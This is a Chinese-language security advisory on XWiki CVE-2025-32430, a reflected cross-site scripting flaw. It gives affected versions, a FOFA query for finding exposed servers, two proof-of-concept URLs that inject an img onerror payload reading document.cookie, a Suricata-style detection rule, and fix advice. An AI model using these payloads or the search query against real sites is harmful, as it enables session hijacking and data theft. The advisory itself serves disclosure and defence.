

XWiki-CVE-2025-32430-反射xss

XWiki-CVE-2025-32430-反射xss，攻击者可利用该漏洞构造恶意链接，诱骗用户点击后执行任意JavaScript代码，可能导致会话劫持、敏感信息窃取、钓鱼攻击或恶意操作，危害用户数据安全和系统完整性。

影响版本

4.2-milestone-3至16.4.7版本、16.5.0-rc-1至16.10.5版本和17.0.0-rc-1至17.2.2版本

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="data-xwiki-reference"

POC/EXP:

```
http://your-ip/xwiki/bin/view/Main/?
xpage=distribution&extensionId=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E
&extensionVersionConstraint=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E

http://your-ip/xwiki/bin/view/Main/?
xpage=job_status_json&jobId=asdf&translationPrefix=%3Cimg%20src=1%20onerror=alert
(document.cookie)%3E
```



sonrt规则:

```
alert http any any -> $HOME_NET any (  
  msg:"xwiki - Reflected XSS via Distribution Extension (CVE-2025-32430)";  
  flow:to_server,established;  
  http.method; content:"GET";  
  http.uri; content:"/xwiki/bin/view/Main/";  
  http.uri; pcre:"/xpage=distribution&extensionId=%3Cimg[^\&]*onerror=alert\  
  ([^)]*\)%3E/i";  
  metadata:cve CVE-2025-32430;  
  metadata:affected_product "xwiki";  
  metadata:vulnerability_type "Cross-Site Scripting";  
  classtype:web-application-attack;  
  sid:1000424;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。